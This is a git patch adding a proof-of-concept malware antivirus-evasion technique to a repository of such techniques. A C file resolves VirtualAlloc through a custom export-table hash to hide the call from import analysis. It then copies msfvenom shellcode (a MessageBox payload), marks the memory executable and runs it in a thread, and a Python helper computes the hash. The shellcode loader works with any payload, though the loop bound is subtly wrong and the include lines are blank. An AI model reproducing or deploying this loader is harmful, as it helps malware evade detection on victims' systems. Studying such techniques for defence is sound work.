From ff929fcb80093f9551698d3920b3932d5c4d2b51 Mon Sep 17 00:00:00 2001 From: cocomelonc Date: Fri, 31 May 2024 19:02:38 +0300 Subject: [PATCH] add WINAPI hashing evasion PoC --- Evasion/WinAPI Hashing/VirtualAlloc_Example.c | 106 ++++++++++++++++++ Evasion/WinAPI Hashing/myhash.py | 9 ++ 2 files changed, 115 insertions(+) create mode 100644 Evasion/WinAPI Hashing/VirtualAlloc_Example.c create mode 100644 Evasion/WinAPI Hashing/myhash.py diff --git a/Evasion/WinAPI Hashing/VirtualAlloc_Example.c b/Evasion/WinAPI Hashing/VirtualAlloc_Example.c new file mode 100644 index 0000000..181e62c --- /dev/null +++ b/Evasion/WinAPI Hashing/VirtualAlloc_Example.c @@ -0,0 +1,106 @@ +/* + * malware AV evasion + * VirtualAlloc - hashing WINAPI functions. + * author: @cocomelonc + * via https://cocomelonc.github.io/tutorial/2022/03/22/simple-av-evasion-5.html +*/ +#include +#include +#include +#include + +typedef LPVOID (WINAPI * fnVirtualAlloc)( + LPVOID lpAddress, + SIZE_T dwSize, + DWORD flAllocationType, + DWORD flProtect +); + +DWORD calcMyHash(char* data) { + DWORD hash = 0x35; + for (int i = 0; i < strlen(data); i++) { + hash += data[i] + (hash << 1); + } + return hash; +} + +static LPVOID getAPIAddr(HMODULE h, DWORD myHash) { + PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h; + PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew); + PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)( + (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions); + PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames); + PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals); + + for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) { + LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]); + + if (calcMyHash(pFuncName) == myHash) { + printf("successfully found! %s - %d\n", pFuncName, myHash); + return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]); + } + } + return nullptr; +} + +// just an example, simple shellcode running logic +// using msfvenom for windows/x64/messagebox with text and title, excluding certain characters +unsigned char my_payload[] = + "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" + "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" + "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" + "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" + "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" + "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" + "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" + "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" + "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" + "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" + "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" + "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" + "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" + "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" + "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" + "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" + "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" + "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" + "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" + "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" + "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" + "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" + "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" + "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" + "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" + "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" + "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" + "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" + "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3"; + +int main() { + void * mem; // buffer for storing the payload + BOOL operation_status; + HANDLE th; + DWORD old_protect = 0; + + HMODULE mod = LoadLibrary("kernel32.dll"); + LPVOID addr = getAPIAddr(mod, 52968519); + printf("0x%p\n", addr); + fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)addr; + + // reserve and commit memory for the payload + mem = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + // transfer the payload to the allocated buffer + RtlMoveMemory(mem, my_payload, sizeof(my_payload)); + + // mark the new buffer as executable + operation_status = VirtualProtect(mem, sizeof(my_payload), PAGE_EXECUTE_READ, &old_protect); + if ( operation_status != 0 ) { + // execute the payload + th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) mem, 0, 0, 0); + WaitForSingleObject(th, -1); + } + + return 0; +} diff --git a/Evasion/WinAPI Hashing/myhash.py b/Evasion/WinAPI Hashing/myhash.py new file mode 100644 index 0000000..51f5c77 --- /dev/null +++ b/Evasion/WinAPI Hashing/myhash.py @@ -0,0 +1,9 @@ +# simple stupid hashing example +def myHash(data): + hash = 0x35 + for i in range(0, len(data)): + hash += ord(data[i]) + (hash << 1) + print (hash) + return hash + +myHash("VirtualAlloc") \ No newline at end of file